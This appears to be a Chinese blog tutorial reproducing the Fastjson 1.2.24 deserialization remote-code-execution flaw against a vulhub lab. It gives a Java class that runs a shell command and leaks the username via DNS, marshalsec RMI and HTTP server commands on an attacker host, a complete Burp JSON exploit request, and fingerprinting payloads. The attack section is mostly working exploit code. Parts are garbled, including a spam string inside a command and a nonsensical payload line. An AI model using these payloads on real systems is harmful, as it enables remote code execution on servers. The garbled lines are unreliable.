本篇文章为大家展示了如何解析Fastjson1.2.24漏洞复现的过程,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。docker-compose up -d先启动vulhub的fastjson环境Docker开启的8090端口假设我们目标IP为1.1.1.1,此时我们访问1.1.1.1:8090安装jdk环境很多linux自带有jdk环境,但缺少很多组件,会报错实属正常https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统选择相应jdk下载。mkdir /opt/javatar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/javavim /etc/profile末尾增加export JAVA_HOME=/opt/java/jdk1.8.0_251export JRE_HOME=/opt/java/jdk1.8.0_251export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/libexport PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/binsource /etc/profilejava -version安装maven(linux为例)wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gzmkdi免费云主机域名r /opt/maventar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/配置环境变量vim /etc/profile在最下面增加export MAVEN_HOME=/opt/maven/apache-maven-3.6.3export PATH=$MAVEN_HOME/bin:$PATH验证maven是否安装成功mvn -version报错解决:你可能遇到这样的报错说明你安装的jdk有问题,按上述方法不行就百度。如果是这样:说明你环境变量没配置好,报这个错我才发现可以直接用apt安装,可能是我换了个系统这个源里面有,之前实验的时候不是这个系统,我这系统是ubantu,具体apt安装出来的能不能用自己试。保存以下代码,命名为dnslog.javaimport java.lang.Runtime;import java.lang.Process;public class dnslog{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { “/bin/sh”, “-c”, “ping user.`whoami`.dnslog“}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}执行以下代码会生成一个dnslog.class文件javac dnslog.java使用python在当前目录下起一个http服务,如果端口占用换其他的python -m SimpleHTTPServer 4567使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类dnslog.classgit clone https://github.com/mbechler/marshalsec.gitcd marshalsec/编译项目mvn clean package -DskipTests如果出现下图情况,就是jdk环境问题,自带jdk环境不完整。按上面步骤安装即可。成功是这样的,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。当前目录下执行命令开启RMI服务:以我搭建dnslog.class类http服务的服务器IP为2.2.2.2端口为4567cd target/java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://2.2.2.2:4567/#TouchFile” 9999RMI服务可以搭建在与dnslog.class类的http服务同一台服务器,也可以搭建在其它服务器上。我们演示还是在同一台。既然环境准备就绪就掏出burp开搞吧:构造payload扔burp中发送POST / HTTP/1.1Host: 1.1.1.1:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160{ “b”:{ “@type”:”com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:”rmi://2.2.2.2:9999/dnslog”, “autoCommit”:true }}成功后是这样的RMI:Python起的http服务:Burp返回包:Dnslog平台能看到执行结果:为什么我要说着三处执行情况,大家肯定很好奇,直接说结果不就好了吗?这里又是已给可能出错的地方,第一处检查rmi运行情况,第二处检查http服务开启情况,第三处就是执行结果。如果最终结果有问题,那处结果显示不正常就去哪个地方找原因。第一、二处最有可能出现问题的就是端口占用或者防火墙拦截。Dnslog平台没有显示就说明命令未执行成功,也有可能是平台问题。具体自己检查。任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法,往后翻。构造以下payload,利用dnslog平台接收。{“zeo”:{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}}1.2.67版本后payload{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}
{“@type”:”java.net.Inet6Address”,”val”:”dnslog”}
畸形:
{“@type”:”java.net.InetSocketAddress”{“address”:,”val”:”这里是dnslog”}}”@type”:”java.net.InetSocketAddress”{“address”:,”val”:”这里是dnslog”}}[“@Type”:”Java.Net.InetSocketAddress”{“address”:,”Val”:”Zhl sh dnslog”}}]”@Type”:”java.net.InetSocketAddress” { “address”:, “val”: “This is dnslog”}}上述内容就是如何解析Fastjson1.2.24漏洞复现的过程,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注云编程开发博客行业资讯频道。
相关推荐: 如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现
这期内容当中小编将会给大家带来有关如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。记录自己学习与理解thinkphp的反序列漏洞的过程5.1.37…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。